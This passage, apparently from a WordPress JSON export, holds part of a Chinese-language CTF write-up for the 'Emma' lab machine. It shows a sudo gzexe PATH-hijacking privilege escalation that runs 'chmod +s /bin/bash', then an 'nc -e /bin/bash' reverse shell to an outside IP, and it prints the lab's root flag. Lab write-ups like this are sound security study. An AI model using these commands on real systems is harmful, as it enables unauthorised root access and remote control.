  • \u8fd0\u884cwho<\/code>\u7a0b\u5e8f\uff0c\u8c03\u7528\/bin\/id<\/code>\uff0c\u7531\u4e8e\/bin\/id<\/code>\u88ab\u538b\u7f29\u4e86\uff0c\u8981\u8fd0\u884c\u5c31\u8981gzip<\/code>\u89e3\u538b\u4e00\u4e0b\uff0c\u5c31\u4f1a\u8c03\u7528\u6211\u4eec\u7684\u6076\u610f\u6587\u4ef6\u4e86\uff01<\/li>\n<\/ul>\n
    \u5b8c\u6574\u6d41\u7a0b\u5982\u4e0b\uff1a<\/p>\n
    emma@emma:~$ sudo -l\nMatching Defaults entries for emma on emma:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser emma may run the following commands on emma:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/gzexe\nemma@emma:~$ sudo \/usr\/bin\/gzexe \/bin\/id\n\/bin\/id:         59.2%\nemma@emma:~$ echo 'chmod +s \/bin\/bash' > gzip\nemma@emma:~$ chmod +x gzip\nemma@emma:~$ export PATH=\/tmp:$PATH\nemma@emma:~$ cd ~\nemma@emma:~$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1168776 Apr 18  2019 \/bin\/bash\nemma@emma:~$ .\/who\nIm \nBut now Im \nchmod: changing permissions of '\/bin\/bash': Operation not permitted\nCannot decompress \/bin\/id\nemma@emma:~$ ls -la \/bin\/bash\n-rwsr-sr-x 1 root root 1168776 Apr 18  2019 \/bin\/bash<\/code><\/pre>\n
    \u83b7\u53d6\u4e86rootshell\uff01\uff01\uff01<\/p>\n
    \"image-20250611185630879\"<\/div><\/p>\n
    emma@emma:\/root# cat root.txt \nitsmeimshe\nemma@emma:\/root# cat flag.sh \n#!\/bin\/bash\necho '\\033[0;35m\n                                   .     **                                     \n                                *           *.                                  \n                                              ,*                                \n                                                 *,                             \n                         ,                         ,*                           \n                      .,                              *,                        \n                    \/                                    *                      \n                 ,*                                        *,                   \n               \/.                                            .*.                \n             *                                                  **              \n             ,*                                               ,*                \n                **                                          *.                  \n                   **                                    **.                    \n                     ,*                                **                       \n                        *,                          ,*                          \n                           *                      **                            \n                             *,                .*                               \n                                *.           **                                 \n                                  **      ,*,                                   \n                                     ** *,     \\033[0m'                                               \n\necho "-------------------------"\necho "\\nPWNED HOST: $(hostname)"\necho "\\nPWNED DATE: $(date)"\necho "\\nWHOAMI: $(id)"\necho "\\nFLAG: $(cat root.txt 2>\/dev\/null || cat user.txt 2>\/dev\/null || echo "Keep trying.")"\necho "\\n------------------------"<\/code><\/pre>\n
    \u4f46\u662f\u8fd9\u91cc\u5c45\u7136\u8fd0\u884c\u4e0d\u4e86flag.sh<\/code>\uff1a<\/p>\n
    emma@emma:\/root# .\/flag.sh \n\/bin\/bash: .\/flag.sh: Permission denied<\/code><\/pre>\n
    \u8bf4\u660e\u6211\u4eec\u4ecd\u7136\u662f\u4e0d\u5b8c\u6574\u7684rootshell\uff0c\u5c1d\u8bd5\u53cd\u5f39\u8fc7\u6765\u770b\u770b\uff1a<\/p>\n
    emma@emma:\/tmp# echo 'nc -e \/bin\/bash 192.168.10.106 2345' > gzip\nemma@emma:\/tmp# sudo \/usr\/bin\/gzexe \/bin\/id\n\/usr\/bin\/gzexe: \/bin\/id is already gzexe'd\nemma@emma:\/tmp# export PATH=\/tmp:$PATH\nemma@emma:\/tmp# chmod +x gzip\nemma@emma:\/tmp# cd ~\nemma@emma:~# ls -la\ntotal 68\ndrwxr-xr-x 4 emma emma  4096 Jun 11 06:54 .\ndrwxr-xr-x 3 root root  4096 Feb  4  2021 ..\n-rw-r--r-- 1 emma emma   220 Feb  4  2021 .bash_logout\n-rw-r--r-- 1 emma emma  3526 Feb  4  2021 .bashrc\n-rwx------ 1 emma emma  1920 Feb  4  2021 flag.sh\ndrwx------ 3 emma emma  4096 Jun 11 06:31 .gnupg\n-rwxr-xr-x 1 emma emma    19 Jun 11 06:54 gzip\ndrwxr-xr-x 3 emma emma  4096 Feb  4  2021 .local\n-rw-r--r-- 1 emma emma   807 Feb  4  2021 .profile\n-rw------- 1 emma emma    14 Feb  4  2021 user.txt\n-rwsr-s--- 1 root emma 16760 Feb  4  2021 who\n-rw-r--r-- 1 emma emma   185 Feb  4  2021 who.c\n-rw------- 1 emma emma    50 Feb  4  2021 .Xauthority\nemma@emma:~# .\/who\nIm \n(UNKNOWN) [192.168.10.106] 2345 (?) : Connection refused\nCannot decompress \/usr\/bin\/id<\/code><\/pre>\n
    \"image-20250611190213898\"<\/div><\/p>\n
    \u6210\u529f\u8fd0\u884c\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
    Emma \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Sabulaji] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-854","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=854"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/854\/revisions"}],"predecessor-version":[{"id":856,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/854\/revisions\/856"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=854"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}